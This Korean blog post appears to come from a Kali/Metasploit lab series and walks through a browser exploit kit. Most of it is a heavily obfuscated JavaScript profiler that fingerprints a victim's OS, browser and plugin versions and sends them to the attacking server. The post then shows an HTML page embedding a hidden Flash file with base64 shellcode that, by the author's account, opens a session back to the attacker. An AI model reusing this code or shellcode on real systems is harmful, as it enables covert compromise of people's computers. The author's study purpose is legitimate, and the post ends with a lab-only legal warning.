yI="g",_0="n",_="yi",O8="l"; return O8+_+_0+yI })())]=i_;this[(String.fromCharCode(0x6f,115,0137,0x76,0x65,0x6e,0144,111,0x72))]=p7;this[((function () { var MN="or",dn="av",lW="fl",q="os_"; return q+lW+dn+MN })())]=O;this[(String.fromCharCode(0x6f,0163,0137,100,0x65,0166,105,99,0145))]=i;this[((function () { var na="p",hb="s_s",mo="o"; return mo+hb+na })())]=Uf;this[((function () { var Xj="g",ny="_lan",NO="s",my="o"; return my+NO+ny+Xj })())]=m;this[(String.fromCharCode(0141,0x72,0143,0150))]=X1;this[(String.fromCharCode(117,0x61,0137,0156,0x61,0155,101))]=s;this[(String.fromCharCode(117,0x61,95,0x76,0145,0x72,115,0151,0x6f,110))]=TT;this[((function () { var V$="n",pa="versio",AO="ua_"; return AO+pa+V$ })())]=TT;return {"\u006f\163\137\156\141\u006d\u0065":sm,"\x6f\x73\x5f\x76\x65\156\x64\157\x72":p7,"\157\163\u005f\x66\u006c\141\u0076\u006f\u0072":O,"\157\x73\137\144\x65\x76\x69\143\x65":i,"\u006f\u0073\137\163\x70":Uf,"\x6f\u0073\u005f\x6c\141\156\147":m,"\u0061\162\143\u0068":X1,"\u0075\u0061\137\156\u0061\155\u0065":s,"\x75\u0061\u005f\166\x65\u0072\163\x69\157\u006e":TT};};X[((function () { var UW="ersion",rw="searchV"; return rw+UW })())]=function(NO,P){var G=P[(String.fromCharCode(105,0156,0x64,101,120,79,0146))](NO);var aV;if(G==-'H'.length){return;}aV=P[(String.fromCharCode(0x73,0165,0142,0163,0164,0x72,0151,110,103))](G+NO[((function () { var O="h",dG="t",zP="ng",eG="e",ia="l"; return ia+eG+zP+dG+O })())]+'O'.length);if(aV[((function () { var q="xOf",z4="inde"; return z4+q })())](String.fromCharCode(32))!=-'M'.length){aV=aV[((function () { var s7="g",Z="rin",yQ="subst"; return yQ+Z+s7 })())](('IwGIme'.length-6),aV[(String.fromCharCode(0x69,0x6e,0x64,0x65,0x78,0117,0146))](String.fromCharCode(040)));}return aV;};window[String.fromCharCode(117,97,95,0166,101,0x72,0x5f,99,0x6d,0x70)]=function(vV,m){if(vV==m){return ('wXiVDtWE'.length-8);}window[(function () { var K="a"; return K })()]=vV[((function () { var Dz="it",Kg="pl",_n="s"; return _n+Kg+Dz })())]((function () { var dz="."; return dz })());window[(function () { var gm="b"; return gm })()]=m[((function () { var i="t",$q="i",b="spl"; return b+$q+i })())]((function () { var Pm="."; return Pm })());for(var BT=('iwFWy'.length-5);BT<Math[((function () { var AZ="x",RU="a",_m="m"; return _m+RU+AZ })())](window[String.fromCharCode(0x61)][((function () { var mU="h",Np="t",k3="leng"; return k3+Np+mU })())],window[String.fromCharCode(98)][((function () { var v="th",IJ="g",GO="len"; return GO+IJ+v })())]);BT++){if(!window[String.fromCharCode(98)][BT]){window[String.fromCharCode(0x62)][BT]=(function () { var tI="0"; return tI })();}if(!window[String.fromCharCode(0141)][BT]){window[(function () { var VW="a"; return VW })()][BT]=String.fromCharCode(48);}if(window[(function () { var Z="a"; return Z })()][BT]==window[String.fromCharCode(0x62)][BT]){continue;}window[(function () { var RG="t",Lw="n",O9="i",Z7="_",_6="a"; return _6+Z7+O9+Lw+RG })()]=window[(function () { var Bp="nt",zR="I",_="se",B$="par"; return B$+_+zR+Bp })()](window[String.fromCharCode(0x61)][BT]);window[(function () { var ha="t",JK="n",ng="i",s="_",w80="b"; return w80+s+ng+JK+ha })()]=window[String.fromCharCode(0x70,97,114,0163,101,0x49,0x6e,0x74)](window[String.fromCharCode(0142)][BT]);window[String.fromCharCode(97,0137,0162,0145,0163,0164)]=window[(function () { var IW="a"; return IW })()][BT][(String.fromCharCode(115,117,98,0x73,116,0162))](window[(function () { var tC="nt",Y="a_i"; return Y+tC })()][(String.fromCharCode(116,0157,0x53,116,0162,0151,0x6e,0147))]()[((function () { var PX="th",hR="leng"; return hR+PX })())]);window[String.fromCharCode(98,0x5f,114,0x65,0x73,116)]=window[(function () { var wQ="b"; return wQ })()][BT][((function () { var tE="r",e="st",QZ="sub"; return QZ+e+tE })())](window[String.fromCharCode(0x62,0137,0x69,0156,0x74)][((function () { var z8="ng",g="ri",$6="toSt"; return $6+g+z8 })())]()[(String.fromCharCode(0x6c,0145,110,0147,0164,104))]);if(window[(function () { var MW="t",YO="n",$="i",_Y="a_"; return _Y+$+YO+MW })()]<window[String.fromCharCode(0x62,0x5f,0151,110,0164)]){return -'y'.length;}else if(window[(function () { var qB="t",Wy="n",ln="a_i"; return ln+Wy+qB })()]>window[String.fromCharCode(0x62,0137,0x69,110,0x74)]){return 'L'.length;}else {if(window[String.fromCharCode(0x61,0x5f,0x72,0x65,115,0x74)]==(function () { var T7="b"; return T7 })()&&window[(function () { var vA="st",bA="e",r$="b_r"; return r$+bA+vA })()][(String.fromCharCode(0154,101,110,0147,0164,104))]==('r'.length-1)){return -'q'.length;}if(window[String.fromCharCode(0142,0137,0162,0145,0163,0x74)]==(function () { var XH="b"; return XH })()&&window[(function () { var Vy="rest",D7="_",F="a"; return F+D7+Vy })()][(String.fromCharCode(108,0x65,110,103,0164,0x68))]==('jkOxFFSncQ'.length-10)){return 'p'.length;}if(window[String.fromCharCode(0x61,0137,0162,101,0163,116)]<window[String.fromCharCode(0x62,95,114,0x65,115,116)]){return -'h'.length;}else if(window[String.fromCharCode(97,0x5f,114,101,0x73,0164)]>window[String.fromCharCode(0142,0137,0162,0x65,0163,0164)]){return 'w'.length;}}}return ('wVJTP'.length-5);};window[String.fromCharCode(0165,0x61,95,0x76,101,114,0x5f,0154,0x74)]=function(_,q){if(-'j'.length==this[((function () { var FU="er_cmp",F="a_v",n="u"; return n+F+FU })())](_,q)){return true;}return false;};window[String.fromCharCode(117,97,0137,0x76,0145,0162,0137,0x67,0164)]=function(_,q){if('H'.length==this[(String.fromCharCode(0165,97,95,118,101,114,0x5f,0x63,109,112))](_,q)){return true;}return false;};window[(function () { var E_="_eq",eB="r",e="a_ve",tL="u"; return tL+e+eB+E_ })()]=function(_,q){if(('K'.length-1)==this[((function () { var G="p",Y="r_cm",i="ve",K="ua_"; return K+i+Y+G })())](_,q)){return true;}return false;};if(!window[((function () { var wo="equest",bD="XMLHTTPR"; return bD+wo })())]){(function(){var Y0,n=[(function () { var ws="TP",qD="MLHT",iC="crosoft.X",oO="Mi"; return oO+iC+qD+ws })(),String.fromCharCode(0x4d,0x73,120,109,0x6c,062,0x2e,0130,0115,0x4c,0x48,0x54,84,0120),String.fromCharCode(77,0x73,120,0155,0154,50,46,0x58,0x4d,0x4c,72,0x54,84,0x50,0x2e,54,0x2e,48),(function () { var Z$="3.0",ki="HTTP.",BQ="Msxml2.XML"; return BQ+ki+Z$ })()];for(Y0=('wu'.length-2);Y0<n[((function () { var Ln="th",s="leng"; return s+Ln })())];Y0++){try{new ActiveXObject(n[Y0]);window[((function () { var i="est",$D="ttpRequ",OS="XMLH"; return OS+$D+i })())]=function(){return new ActiveXObject(n[Y0]);};break;} catch(gH){}}})();}function S(xq,M,hK){var bP=new XMLHttpRequest();if(bP[((function () { var AY="imeType",vN="overrideM"; return vN+AY })())]){bP[(String.fromCharCode(0x6f,0x76,0145,114,0162,0151,100,0x65,0115,0151,0155,101,0124,0171,0160,0145))](String.fromCharCode(0164,0x65,120,116,0x2f,112,108,0141,0151,0156,073,32,0x63,0x68,0141,114,0163,0145,0x74,0x3d,0170,0x2d,117,0163,0x65,0162,45,0x64,0x65,102,0151,110,0145,100));}bP[(String.fromCharCode(0x6f,112,0x65,110))](String.fromCharCode(0x50,79,83,84),xq,!!hK);if(hK){bP[((function () { var g5="ge",hi="statechan",EF="dy",n="onrea"; return n+EF+hi+g5 })())]=function(){if(bP[((function () { var YK="tate",xp="readyS"; return xp+YK })())]=='PCEe'.length){hK[(String.fromCharCode(97,112,0160,0x6c,0171))](this,arguments);}};}bP[((function () { var CU="nd",G="se"; return G+CU })())](M);return bP;}var o={};o[(String.fromCharCode(0x68,97,0163,0123,0151,108,0x76,0x65,114,108,0x69,103,0150,116))]=function(){var Xm=false;try{var CN=new ActiveXObject((function () { var nm='gControl',CI='A',F='AgControl.'; return F+CI+nm })());Xm=true;} catch(iD){}if(!Xm){var gF=window[((function () { var G="tor",_a="a",O="navig"; return O+_a+G })())][(String.fromCharCode(0155,0151,0155,0145,0124,0x79,0x70,0x65,0163))];for(var $t=('g'.length-1);$t<gF[((function () { var Ks="h",BH="gt",Y="n",tH="le"; return tH+Y+BH+Ks })())];$t++){if(/x\-silverlight/[(String.fromCharCode(0164,101,0163,0x74))](gF[$t][((function () { var RH="pe",EW="ty"; return EW+RH })())])){Xm=true;break;}}}if(!Xm){var K9=navigator[((function () { var B9="ins",wi="g",Ye="u",n="pl"; return n+Ye+wi+B9 })())][(String.fromCharCode(0154,0x65,110,0147,116,104))];for(var UT=('NHadxpHnJ'.length-9);UT<K9;UT++){var Gs=navigator[((function () { var SL="ns",Pn="ugi",b="pl"; return b+Pn+SL })())][UT][(String.fromCharCode(0156,0x61,109,101))];if(/Silverlight Plug\-In/[((function () { var G="t",By="s",v="e",Z="t"; return Z+v+By+G })())](Gs)){Xm=true;break;}}}return Xm;};o[((function () { var LO="hVersion",b="tFlas",Ml="ge"; return Ml+b+LO })())]=function(){var Ry=null;try{var n=new ActiveXObject((function () { var mf='Flash',dF='kwave',GA='kwaveFlash.Shoc',O_='Shoc'; return O_+GA+dF+mf })())[(String.fromCharCode(0x47,0x65,0164,0126,97,0162,0151,0x61,0142,0x6c,101))](String.fromCharCode(044,0x76,0145,114,0x73,0x69,0x6f,110))[((function () { var UL="ing",hb="toStr"; return hb+UL })())]();Ry=n[((function () { var FY="ch",oY="t",_3="a",XO="m"; return XO+_3+oY+FY })())](/[\d,]+/g)[('Z'.length-1)][((function () { var HN="ace",O="repl"; return O+HN })())](/,/g,String.fromCharCode(0x2e));} catch(A2){}if(Ry==null){var v=window[(String.fromCharCode(0x6e,0141,0166,0x69,0147,0141,0x74,111,0x72))][((function () { var yz="es",_N="yp",yS="meT",Ct="mi"; return Ct+yS+_N+yz })())];for(var Ae=('UAeOzc'.length-6);Ae<v[((function () { var Z$="th",ZU="g",ji="en",NI="l"; return NI+ji+ZU+Z$ })())];Ae++){var Z=v[Ae][(String.fromCharCode(101,110,97,0x62,108,0x65,0x64,0120,108,0165,0147,105,110))][(String.fromCharCode(100,0x65,0163,0x63,114,0x69,112,0164,0x69,0x6f,0x6e))][(String.fromCharCode(0x74,0x6f,83,116,114,105,0x6e,103))]();var Y=Z[((function () { var kH="h",F="c",Q7="t",e9="ma"; return e9+Q7+F+kH })())](/Shockwave Flash [\d\.]+/g);if(Y!=null){Ry=Y[('Vzb'.length-3)][(String.fromCharCode(0155,97,0x74,0x63,0150))](/\d.+/g)[('SNuAwM'.length-6)];break;}}}if(Ry==null){var FC=navigator[((function () { var i="s",YW="in",G$="plug"; return G$+YW+i })())][((function () { var kb="h",Zt="ngt",s="e",hb="l"; return hb+s+Zt+kb })())];for(window[String.fromCharCode(0x69)]=('nDjoVYvUl'.length-9);window[String.fromCharCode(0x69)]<FC;window[String.fromCharCode(0x69)]++){var Gh=navigator[((function () { var G="s",AE="ugin",Oq="l",vn="p"; return vn+Oq+AE+G })())][window[(function () { var Y="i"; return Y })()]][(String.fromCharCode(0x6e,0141,0155,0145))];var U5=navigator[(String.fromCharCode(0x70,108,0x75,103,0151,0x6e,115))][window[String.fromCharCode(0151)]][((function () { var RG="ion",QZ="vers"; return QZ+RG })())];if(/Shockwave Flash/[((function () { var TO="t",eV="tes"; return eV+TO })())](Gh)&&U5!=window[(function () { var TS="ed",W3="n",vT="ndefi",zo="u"; return zo+vT+W3+TS })()]){Ry=navigator[(String.fromCharCode(0160,0154,0x75,103,0x69,0x6e,0x73))][window[String.fromCharCode(0x69)]][((function () { var pc="on",Wi="i",O="s",DS="r",L9="ve"; return L9+DS+O+Wi+pc })())];break;}}}return Ry;};o[((function () { var vx="sion",k8="r",g="e",Jn="vaV",O6="etJa",K="g"; return K+O6+Jn+g+k8+vx })())]=function(){var Gz=null;for(var ra=('zcgOEa'.length-6);ra<('N'.length*9+1);ra++){for(var Y=('uvBBmfvk'.length-8);Y<('D'.length*'gDuiIXYEx'.length+1);Y++){for(var _C=('hP'.length-2);_C<(02*04+2);_C++){for(var IO=('XxdUqcE'.length-7);IO<((2*05+0)*1+0);IO++){var OY=String(ra)+(function () { var $="."; return $ })()+String(Y)+(function () { var Dz="."; return Dz })()+String(_C)+(function () { var i="."; return i })()+String(IO);var le=(function () { var $K="nstalled.",jJ="tart.isI",RS="JavaWebS"; return RS+jJ+$K })()+OY;try{new ActiveXObject(le);return OY;} catch(qO){continue;}}}}}if(Gz==null){var Qa=window[(String.fromCharCode(0156,0141,0166,0x69,0x67,97,116,111,0x72))][(String.fromCharCode(0x6d,0151,109,101,0x54,0x79,0160,0x65,115))];for(var $M=('dyGa'.length-4);$M<Qa[((function () { var u$="h",O="gt",kA="len"; return kA+O+u$ })())];$M++){var jV4=/java.+;version=(.+)/[(String.fromCharCode(0x65,0x78,0145,0143))](Qa[$M][(String.fromCharCode(0x74,121,0x70,0x65))]);if(jV4){var ms=window[String.fromCharCode(0x70,0x61,0162,0x73,101,0106,108,0157,0x61,0164)](jV4['q'.length]);if(ms>Gz){Gz=ms;}}}}if(Gz==null){var nS="";var O=navigator[(String.fromCharCode(112,108,0x75,0x67,0151,110,0163))][((function () { var tI="th",x8="leng"; return x8+tI })())];for(window[String.fromCharCode(0x69)]=('AuIYmge'.length-7);window[String.fromCharCode(105)]<O;window[(function () { var Tp="i"; return Tp })()]++){var nD=navigator[(String.fromCharCode(0160,108,117,0147,105,0156,115))][window[String.fromCharCode(105)]][(String.fromCharCode(110,0141,109,0x65))];var s=navigator[((function () { var Qq="gins",F="u",bs="pl"; return bs+F+Qq })())][window[String.fromCharCode(0x69)]][(String.fromCharCode(0x76,101,0x72,0x73,105,0x6f,110))];if(/Java/[((function () { var kR="t",i="tes"; return i+kR })())](nD)&&s!=window[String.fromCharCode(117,0x6e,0x64,0145,102,0151,0156,101,100)]){Gz=navigator[(String.fromCharCode(0x70,0x6c,0165,0147,0151,0156,0x73))][window[(function () { var hl="i"; return hl })()]][((function () { var Do="n",G="o",tx="i",le="rs",lF="ve"; return lF+le+tx+G+Do })())];break;}}}return Gz;};var X8={};X8[(String.fromCharCode(0x68,97,115,65,99,0x74,0151,0x76,0x65,0130))]=function(x4,kE){var P2=null;if(x4[(String.fromCharCode(115,117,0x62,0163,116,114,0x69,110,0147))](('cTIRzUDQz'.length-9),'U'.length)==String[((function () { var $="e",Ai="od",xy="rC",uh="fromCha"; return uh+xy+Ai+$ })())]((01*('ap'.length*('Y'.length*('X'.length*('uzXJt'.length*'TjNx'.length+1)+11)+3)+33)+20))){P2=document[((function () { var $Z="Element",tw="reate",Qy="c"; return Qy+tw+$Z })())]((function () { var _e="t",LG="ec",l5="obj"; return l5+LG+_e })());P2[(String.fromCharCode(115,0145,0x74,0x41,116,0164,0162,0x69,0142,0x75,116,101))](String.fromCharCode(0x63,0154,97,115,115,0151,0144),(function () { var O="d:",IG="clsi"; return IG+O })()+x4);P2[((function () { var Tl="te",v="ribu",jP="setAtt"; return jP+v+Tl })())]((function () { var az="d",i="i"; return i+az })(),x4);P2[(String.fromCharCode(0163,0x65,116,65,116,116,114,105,0142,0x75,116,101))](String.fromCharCode(115,0x74,0x79,108,0x65),(function () { var $6="dden",l0="bility: hi",ck="visi"; return ck+l0+$6 })());P2[(String.fromCharCode(0163,101,0x74,0101,116,0x74,0x72,0151,0142,0165,0x74,101))]((function () { var Rq="th",Tw="wid"; return Tw+Rq })(),String.fromCharCode(060,0x70,0170));P2[(String.fromCharCode(0163,0145,0164,65,0x74,116,0x72,105,0142,0165,116,101))]((function () { var $x="t",G="h",np="heig"; return np+G+$x })(),String.fromCharCode(48,0x70,0170));document[(String.fromCharCode(98,0157,100,0x79))][(String.fromCharCode(0x61,0160,0x70,101,0156,100,0x43,0150,0x69,0154,0x64))](P2);if(typeof (P2[kE])==(function () { var S2='d',eI='e',fD='in',Vz='undef'; return Vz+fD+eI+S2 })()){var HT=String.fromCharCode(0x69,0144,0x3d,0x22)+x4+(function () { var dG='"'; return dG })();HT+=String.fromCharCode(0x20,0x63,0x6c,97,0163,0x73,105,0144,075,34,0x63,0x6c,0163,105,0144,072)+x4+String.fromCharCode(0x22);HT+=String.fromCharCode(32,0x73,0164,0171,108,0145,61,0x22,0x76,0x69,115,105,98,0151,0154,0151,0x74,0171,58,040,0150,0151,100,0144,0x65,0x6e,042);HT+=(function () { var Dk='ght="0px"',w1=' hei',n6=' width="0px"'; return n6+w1+Dk })();document[(String.fromCharCode(0142,0157,0144,121))][((function () { var Eg="HTML",cY="inner"; return cY+Eg })())]+=String.fromCharCode(074,0x6f,0142,106,101,0143,116,040)+HT+String.fromCharCode(62,0x3c,057,0157,98,0x6a,101,99,0x74,62);P2=document[(String.fromCharCode(0147,0145,0x74,0105,0x6c,0x65,0155,101,110,0164,66,121,0x49,100))](x4);}}else {try{P2=new ActiveXObject(x4);} catch(G){return false;};}if(typeof (P2[kE])!=(function () { var u3='ed',q1='n',kI='ndefi',rT='u'; return rT+kI+q1+u3 })()){return true;}return false;};X8[((function () { var t$="n",F="ficeVersio",ex="getMsOf"; return ex+F+t$ })())]=function(){var au;var $=new Array();for(var VP='E'.length;VP<='qlrzo'.length;VP++){try{$[VP-'Q'.length]=typeof (new ActiveXObject(String.fromCharCode(0123,104,0x61,0x72,0x65,0x50,111,0151,110,0x74,056,0x4f,112,0145,110,0x44,0x6f,0x63,0165,109,101,0156,116,0163,0x2e)+VP[(String.fromCharCode(0164,0157,0x53,116,0162,0151,0x6e,103))]()));} catch(A2){$[VP-'g'.length]=null;}}if($[('RW'.length-2)]==(function () { var Z='ct',ED='bje',l$='o'; return l$+ED+Z })()&&$['F'.length]==String.fromCharCode(111,0142,0152,0x65,0x63,0x74)&&$['aS'.length]==(function () { var Dz='ect',d_='obj'; return d_+Dz })()&&$['dMG'.length]==String.fromCharCode(0x6f,0142,106,0145,99,116)&&$['kYJB'.length]==String.fromCharCode(111,98,106,0145,99,116)){au=(function () { var Kj="2",VI="01",Cf="2"; return Cf+VI+Kj })();}else if($[('BDug'.length-4)]==(function () { var jk='ject',DQ='b',O='o'; return O+DQ+jk })()&&$['M'.length]==String.fromCharCode(0157,0142,106,0145,99,116)&&$['BB'.length]==(function () { var f3='ect',Wc='j',SI='ob'; return SI+Wc+f3 })()&&$['Cdn'.length]==String.fromCharCode(0x6f,98,0x6a,0x65,0143,0164)&&$['qNfA'.length]==null){au=(function () { var Un="0",wh="201"; return wh+Un })();}else if($[('RYLVgKCg'.length-8)]==String.fromCharCode(0x6f,0x62,106,0145,0143,116)&&$['P'.length]==String.fromCharCode(0x6f,0x62,0152,0x65,0143,116)&&$['uZ'.length]==(function () { var NI='t',Pk='c',cY='je',zj='ob'; return zj+cY+Pk+NI })()&&$['yFj'.length]==null&&$['rQVB'.length]==null){au=String.fromCharCode(0x32,060,060,067);}else if($[('p'.length-1)]==String.fromCharCode(0157,98,0152,0x65,0143,0x74)&&$['X'.length]==String.fromCharCode(111,0x62,0x6a,101,0x63,0164)&&$['rg'.length]==null&&$['eIW'.length]==null&&$['uxVE'.length]==null){au=String.fromCharCode(50,0x30,060,51);}else if($[('XjfWOHuSG'.length-9)]==String.fromCharCode(0x6f,0142,0152,101,0143,0x74)&&$['W'.length]==null&&$['HY'.length]==null&&$['Ftj'.length]==null&&$['GlAT'.length]==null){au=(function () { var i="p",sp="x"; return sp+i })();}else {au=null;}return au;};function W(Wt){var VH=[];for(var lr in Wt){VH[(String.fromCharCode(0x70,117,0163,0150))](window[String.fromCharCode(101,0x6e,99,0157,0144,0145,0x55,82,0x49,0x43,0x6f,0x6d,112,0157,0x6e,0x65,0156,0x74)](lr)+(function () { var Cb='='; return Cb })()+window[String.fromCharCode(101,0x6e,0x63,0x6f,0x64,0145,85,0122,0111,67,111,0x6d,0x70,111,0x6e,0x65,110,0164)](Wt[lr]));}return U[((function () { var _r="e",wN="ncod",rO="e"; return rO+wN+_r })())](VH[((function () { var x7="n",ax="joi"; return ax+x7 })())]((function () { var o$='&'; return o$ })()));}function ZM(vN){return (!vN||('ko'.length-2)===vN[((function () { var zX="h",GI="ngt",$="e",AT="l"; return AT+$+GI+zX })())]);}function j(Fy){var a0=W(Fy);S(String.fromCharCode(057,98,0144,0123,101,108,47),a0,function(){window[((function () { var hI="ion",O="ocat",$="l"; return $+O+hI })())]=String.fromCharCode(47,116,114,0x4f,101,110,0122,057);});}var hx="";var y=true;var fvn=null;var cd=null;function x(LW){hx=LW;if(fvn!=null){window[(function () { var ER="out",Ms="earTime",v="cl"; return v+Ms+ER })()](fvn);fvn=null;}y=false;return;}function Q(p1,L7,Yt){var Wu,G,Y,Wt,tx=L7||{},mm=Yt||{};tx[(String.fromCharCode(0x74,0171,0x70,0x65))]=String.fromCharCode(0141,0x70,0160,0x6c,0x69,99,97,0164,105,0157,0x6e,0x2f,0x78,0x2d,0163,0150,111,0x63,0153,0167,0x61,0166,0x65,45,0x66,0x6c,0x61,0163,0150);if(window[((function () { var Lj="ct",$r="je",eD="tiveXOb",Cb="c",iM="A"; return iM+Cb+eD+$r+Lj })())]){tx[((function () { var Ac="d",w3="assi",on="cl"; return on+w3+Ac })())]=(function () { var Wl='00',Pe='8-4445535400',DR='cf-96b',m9='clsid:d27cdb6e-ae6d-11'; return m9+DR+Pe+Wl })();mm[(String.fromCharCode(0x6d,111,0166,0151,0145))]=p1;}else {tx[((function () { var Ij="ta",o9="da"; return o9+Ij })())]=p1;}G=(function () { var dy='ect',hJ='<obj'; return hJ+dy })();for(Wu in tx){G+=String.fromCharCode(0x20)+Wu+(function () { var YY='"',ar='='; return ar+YY })()+tx[Wu]+(function () { var AE='"'; return AE })();}G+=(function () { var KZ='>'; return KZ })();for(Wu in mm){G+=(function () { var $='ame="',UN='param n',pQ='<'; return pQ+UN+$ })()+Wu+(function () { var ea='e="',wf='u',Z='" val'; return Z+wf+ea })()+mm[Wu]+(function () { var bn=' />',n='"'; return n+bn })();}G+=(function () { var sT='t>',bH='objec',jG='</'; return jG+bH+sT })();Y=document[((function () { var NW="lement",ab="eE",XL="reat",Tp="c"; return Tp+XL+ab+NW })())](String.fromCharCode(100,105,0x76));Y[(String.fromCharCode(0x69,0x6e,0x6e,0145,0162,72,0x54,77,0x4c))]=G;Wt=Y[(String.fromCharCode(102,105,0x72,0163,116,67,104,105,0x6c,0x64))];Y[((function () { var jh="ld",x0="oveChi",w7="rem"; return w7+x0+jh })())](Wt);return Wt;}window[((function () { var mm="d",Kz="a",i="onlo"; return i+Kz+mm })())]=function(){var Rn=X[(String.fromCharCode(0147,101,0164,0x56,0x65,114,0163,0x69,111,110))]();var G={"os_vendor":Rn[(String.fromCharCode(0157,0x73,0137,0166,0145,0156,0x64,0x6f,0x72))],"os_device":Rn[((function () { var $="ice",m0="v",l$="os_de"; return l$+m0+$ })())],"ua_name":Rn[(String.fromCharCode(117,0141,0137,0156,97,0x6d,101))],"ua_ver":Rn[(String.fromCharCode(117,97,95,0166,101,0x72,0163,0151,0x6f,0x6e))],"arch":Rn[((function () { var da="h",n="arc"; return n+da })())],"java":o[((function () { var d8="aVersion",JZ="getJav"; return JZ+d8 })())](),"silverlight":o[((function () { var PF="t",w0="ligh",pU="asSilver",QW="h"; return QW+pU+w0+PF })())](),"flash":o[(String.fromCharCode(103,0145,0x74,70,0x6c,0x61,0163,0150,0126,0145,114,115,105,0157,0156))](),"vuln_test":true,"os_name":Rn[((function () { var S1="e",Ne="_nam",_y="s",s8="o"; return s8+_y+Ne+S1 })())]};G[String.fromCharCode(111,0146,102,0x69,0x63,0145)]=X8[((function () { var d0="Version",BL="etMsOffice",TA="g"; return TA+BL+d0 })())]();G[String.fromCharCode(0x6d,0163,104,0x74,109,108,0137,0x62,0x75,0151,108,100)]=window[String.fromCharCode(83,99,0162,0x69,0x70,0x74,0105,110,0x67,105,0156,0x65,0102,117,105,0154,0144,0126,0145,0162,115,105,111,0x6e)]()[(String.fromCharCode(0164,111,83,0164,0x72,0151,110,103))]();if(G[(function () { var YO="sh",I6="fla"; return I6+YO })()]!=null&&(G[String.fromCharCode(102,0x6c,97,0163,104)][((function () { var fb="h",wA="atc",UL="m"; return UL+wA+fb })())](/[\d]+.[\d]+.[\d]+.[\d]+/))==null){var WW=Q((function () { var wg='f',q9='Ep.sw',ab='/NrVeuiA'; return ab+q9+wg })(),{"\u0077\x69\u0064\x74\x68":'L'.length,"\x68\u0065\151\147\u0068\164":'L'.length},{"\u0061\x6c\x6c\157\x77\123\x63\u0072\x69\x70\164\101\x63\x63\u0065\x73\163":String.fromCharCode(97,108,0x77,0141,121,0163),"\u0050\u006c\141\x79":String.fromCharCode(84,0x72,117,0x65)});fvn=setTimeout(function(){if(cd!=null){y=false;window[String.fromCharCode(99,0x6c,0145,0x61,0162,0x49,110,0164,101,114,0x76,97,108)](cd);}if(!ZM(hx)){G[(function () { var vp="h",di="s",be="fla"; return be+di+vp })()]=hx;}j(G);},('IIBS'.length*('NGs'.length*('g'.length*('jyi'.length*(5*(4*'PJC'.length+0)+1)+21)+105)+87)+944));cd=setInterval(function(){if(!y){window[(function () { var PE="al",Y="rv",nq="earInte",s="cl"; return s+nq+Y+PE })()](cd);if(!ZM(hx)){G[String.fromCharCode(0x66,0x6c,0141,115,0x68)]=hx;}j(G);}},(0x1*('P'.length*0x52+8)+10));document[((function () { var v="y",A3="d",XO="bo"; return XO+A3+v })())][(String.fromCharCode(97,112,0x70,0x65,0x6e,100,0x43,0x68,0x69,0154,0144))](WW);}else {j(G);}};
      </script>
      <noscript>
      <img style="visibility:hidden" src="/DeOvweL/">
      <meta http-equiv="refresh" content="1; url=/trOenR/">
      </noscript>

=> 희생자 PC의 버전, 운영체제, 네트워크 등의 정보수집을 합니다.

beSel

b3NfdmVuZG9yPXVuZGVmaW5lZCZvc19kZXZpY2U9dW5kZWZpbmVkJnVhX25hbWU9TVNJRSZ1YV92ZXI9MTEuMCZhcmNoPXg4NiZqYXZhPW51bGwmc2lsdmVybGlnaHQ9dHJ1ZSZmbGFzaD0xNy4wLjAuMTM0JnZ1bG5fdGVzdD10cnVlJm9zX25hbWU9V2luZG93cyUyMDcmb2ZmaWNlPW51bGwmbXNodG1sX2J1aWxkPTE4ODU4

=> os_vendor=undefined&os_device=undefined&ua_name=MSIE&ua_ver=11.0&arch=x86&java=null&silverlight=true&flash=17.0.0.134&vuln_test=true&os_name=Windows%207&office=null&mshtml_build=18858

=> seSel은 base64로 flash player의 정보를 확인하네요.

trOenR

<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="fFTd.swf" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqNtoaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJW/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==&pl=win&os=Windows 7" />
    <param name="Play" value="true" />
    # sh -> 공격자가 삽입한 쉘코드
    <embed type="application/x-shockwave-flash" width="1" height="1" src="fFTd.swf" allowScriptAccess="always" FlashVars="sh=/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqNtoaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJW/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==&pl=win&os=Windows 7" Play="true"/>
    </object>
    </body>
    </html>

=> trOenR은 fTFd.swf 실행하라고 하며,  fTDd.swf가 victimPC에서 실행되면 공격자가 삽입한 쉘코드로 인하여 희생자 pc랑 세션이 연결됩니다.

 

* 부족한 사항 및 질문사항은 댓글로 남겨주세요.

 

* 주의

해킹실습은 자신의 가상 머신에서만 실행하며 실제 운영 서버에 대한 공격을 할 시에 법적 문제 발생으로 인한 책임을 동반하게 됩니다.

'보안 > Kali' 카테고리의 다른 글

Metasploit-msfvenom로 인한 기본 악성 실행파일 제작  (0) 2020.09.04
metasploit- Search for file in target system[시스템 파일 찾기]  (0) 2020.08.31
[metasploit] freeftpd_pass 취약점 분석  (0) 2020.08.25
[metasploit] freeftpd_pass 취약점 실습  (0) 2020.08.23
버츄얼박스 칼리리눅스 디스크 용량 늘리기  (0) 2020.04.13

'보안/Kali' Related Articles

티스토리툴바